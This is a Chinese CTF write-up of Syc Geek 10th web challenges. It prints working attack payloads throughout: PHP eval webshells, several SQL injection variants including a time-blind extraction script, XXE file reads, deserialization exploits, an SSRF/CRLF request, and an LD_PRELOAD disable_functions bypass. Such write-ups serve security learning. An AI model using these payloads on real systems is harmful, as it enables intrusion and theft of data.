Syc Geek 10th web部分题解


打比赛先撸一只猫

查看源码,发现简单考点

<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

只需GET传参cat=dog即可

1572099090928

你看见过我的菜刀么

打开一看页面有一句话,是事先写好的,通过构造参数可以执行任意命令,往往配合菜刀,蚁剑等工具一起使用。

eval($_POST["Syc"]);

1572100049777

这里简单读取一下flag文件,也可以使用菜刀,蚁剑连接。

BurpSuiiiiiit!!!

下载文件,解压一下是个jar文件,是burpsuite的扩展包,用burpsuite导入一下就能得到flag

性感潇文清,在线算卦

打开题目发现源码中有信息,请求在0.1秒内容会变化,所以使用条件竞争,附一个简单脚本

import gevent
from gevent import monkey
gevent.monkey.patch_all()
import requests as rq

def geturl(url):
    for i in range(5):
        r=rq.get(url)
        if 'Syc' in r.text:
            print(r.text)
            break
data=['http://148.70.59.198:42534/?u=1&p=1','http://148.70.59.198:42534/uploads/b336602455740930585c9e82995cc63b9fa7db8c/356a192b7913b04c54574d18c28d46e6395428ab']

if __name__ == '__main__':
    tasks = [gevent.spawn(geturl, url) for url in data]
    gevent.joinall(tasks)

当然也可以使用burpsuite一直发包请求,然后访问之后提示的页面

Easysql

万能密码登录输入用户名’=’ ,密码’=’

Lovelysql

简单的注入,这里用联合注入

?username=1' order by 3-- -&password=1    //查字段
?username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -&password=1    //查表名
?username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1"-- -&password=1    //查列名
?username=1' union select 1,group_concat(password),3 from l0ve1ysq1-- -&password=1    //查数据

Babysql

测试一下发现关键字被过滤为空,可以双写绕过

?username=-1' ununionion selselectect 1,group_concat(passwoorrd),3 frofromm b4bsql-- -&password=1    //查数据

李三的代码审计笔记第一页

代码内容大概就是$password构成了一个数组,GET一个参数url,若没有url里面没有http://则退出,有则请求这个url,返回数据与$password构成的数组比较,相同则下一步,不同退出,按照要求写一个php代码,放在服务器,保存1.php,新建1.txt,内容为0,传参?url=xxx.xxx.xxx.xxx/1.php即可

<?php
$password="If I knew where I would die, I would never go there.";
$arr=explode(" ",$password);
$c = intval(file_get_contents("1.txt"));
echo $arr[$c];

$c++;
$file=fopen("1.txt","w+");

fwrite($file, $c);
fclose($file);
exit(0);
?>

神秘的三叶草

看了下源码,发现最后氛围两个字有超链接,打开Secret.php,根据要求发送如下请求

GET /Secret.php HTTP/1.1
Host: 118.25.14.40:8108
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
referer: https://www.Sycsecret.com

Jiang‘s Secret

查看源码发现一个href标签,又是一个超链接,不过是黑色的,页面ctrl+a可以看见,点开链接,发现一个302重定向action.php ,抓包看一下,提示secr3t.php,打开secr3t.php,是一个文件包含,说flag在flag.php,用php伪协议读一下,base64解码可得flag。

?file=php://filter/read=convert.base64-encode/resource=flag.php

性感黄阿姨,在线聊天

题目提示xxe,php弱类型。XXE全称是——XML External Entity,也就是XML外部实体注入攻击。

打开题目是一个聊天界面,输入flag,它说只是guest用户,抓包看一下请求报文,发现传输的数据是json数据(JSON(JavaScript Object Notation)是一种轻量级的数据交换格式)name:”guest”,将name改为admin,看到要满足$name==md5($flag),然后进行下一步,这里就要用到php弱类型,==是比较运算符号,不会检查条件式的表达式的类型,在比较字符串和整型时会将字符串转化为整型,如123adas123sda会变成123,省略字母后的字符.

$a=123;
$b='123ads123dasd';
var_dump($a==$b);    //运行结果为bool(true)

爆破name,name从0~xxxxx,name为数字,因为md5($flag)后为字符类型,里面含有数字,字母,和整型比较会除去字母后面字符只保留数字进行比较。爆出结果name为357,告诉了flag在_f14g_Is_Here.php,所以用xxe读取这个文件。

POST /message.php HTTP/1.1
Host: 148.70.59.198:41257
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 201
Origin: http://148.70.59.198:41257
Connection: close
Referer: http://148.70.59.198:41257/
Cookie: td_cookie=195560425

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM
 "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php">
]>
<root>
    <name>&xxe;</name>
     <request>flag</request>
</root>

1572445819157

文件内容以base64编码形式读出,解码可得flag。

你有特洛伊么

这个是文件上传,文件上传肯定做了些限制,慢慢看一下,发现是黑名单的验证,还验证了文件的内容,要包含图片格式,并且内容不能含有<?,黑名单的验证其实比较好绕,用copy 1.jpg/b+1.php/a 1.jpg(文件包含解析b表示二进制,a表示ascii码)做一个图片马,但是内容不能含有<?,那么怎么表示这是php文件呢,查了一下发现还可以这样表示为php文件,但是这种表示方法在php7已经不适用。

<script language="php">@eval($_POST['a']);</script>

接下来就是找一个不在黑名单,但可以解析的后缀名,发现.phtml没有过滤,且可以解析,上传该文件。

1572446836898

最后读取文件,菜刀连接即可找到flag。

反序列化1.0

查看源码,发现反序列化参数可控,同时也看到了flag出现条件,所以简单传参一个序列化对象即可

?exp=O:7:"Student":1:{s:5:"score";i:10000;}

又来一只猫

这道题打开一看说源码备份,猜测有源码泄露,经测试发现存在www.zip,下载源码审计,这里贴一下源码,方便以后自己查看。

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

简单介绍一下序列化和反序列化:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。反序列化的漏洞大多是因为反序列化的参数可控与魔术方法相结合,通过精心构造的payload造成危害。

介绍几个常见的魔术方法:

__construct():在对象创建时自动被调用;

__destruct():在脚本运行结束时自动被调用;

__sleep():在对象序列化的时候自动被调用;

__wakeup():在反序列化为对象时自动被调用;

__toString(): 直接输出对象引用时自动被调用;

当成员属性数目大于实际数目时可绕过wakeup方法,最终payload为

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

Eval evil code

这道题是考无参数执行命令,apache环境,可以使用getallheaders()函数,验证码的简单脚本。附一个链接 传送门

import hashlib

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

for i in range(1000000000):
    if md5(str(i))[0:4] == 'a074':
        print(i)
        break

最终请求报文

POST /index.php HTTP/1.1
Host: 148.70.59.198:34386
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://148.70.59.198:34386
Connection: close
Referer: http://148.70.59.198:34386/
Cookie: td_cookie=2346903105; PHPSESSID=741fb31b98aab1f28124c5035b048349
Upgrade-Insecure-Requests: 1
a: readfile("theflag.php");        //这里执行命令

payload=eval(end(getallheaders()));&code=15836

你有初恋吗

简单代码审计,post传以下参数即可

lover=syclove%2572

hardsql

报错注入,过滤了or|and|substr|if|hex|mid|char|union,空格

username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1)#    //数据库名
username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e),1)#    //表名
username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e),1)#    //列名
username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1)#    //数据

finalsql

时间盲注

#二分法
import requests
import string
url = "http://118.25.14.40:8104/search.php"
flag = ''
def payload(i,j):
    #sql ="1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)    #数据库名字
    #sql ="1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)    #表名
    #sql ="1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)    #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)    #数据
    data = {"id":sql}
    r = requests.get(url,params=data)
    #print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res
def exp():
    global flag
    for i in range(1,10000):
        print(i,':')
        low = 31
        high = 127
        while low<= high:
            mid = (low+high)//2
            res = payload(i,mid)
            if res:
                low = mid+1
            else:
                high = mid-1
        f = int((low+high+1))//2
        if (f == 127 or f == 31):
            break
        #print (f)
        flag += chr(f)
        print(flag)
exp()
print('flag=', flag)

Leixiao’s blog

存储型xss,密保问题可以自定义修改payload,弹cookie回来

服务端检测系统

ssrf CRLF注入 请求报文如下

POST / HTTP/1.1
Host: 148.70.59.198:41256
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://148.70.59.198:41256
Connection: close
Referer: http://148.70.59.198:41256/
Cookie: td_cookie=3267711552; PHPSESSID=9h4mg0jrecc5of5lh1836hf7e3
Upgrade-Insecure-Requests: 1

url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

iwantflag=yes%26b=%s%

rce me

无字符,数字拿shell,bypass disable_functions(利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果)

http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so    //读取flag

李三的代码审计2

考点xxe,phar的反序列化

你读懂了潇文清的网站了吗

xxe+phar的反序列化,输入框解析xml,可以用php://filter读文件,读取config.php,index.php,通过phar反序列化读取flag.php

<?xml version = "1.0"?>

<!DOCTYPE note [<!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]>

<name>&hacker;</name>

Author: LiM
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source LiM !
 Previous
Roarctf Web writeup Roarctf Web writeup
#写在前面,很多知识都不会,但在慢慢学习过程中积累,下面记录一下Roarctf web 题解,学习一手新知识 easy_calc看了一下页面可以计算式子,猜测后台是eval函数,看了下网络看经过哪些请求,发现请求了一个请求网址calc.ph
2019-10-28 LiM
Next 
docker简单学习及简单部署CTF题 docker简单学习及简单部署CTF题
1.什么是docker: Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的Linux或Windows机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口
2019-10-26 LiM
  TOC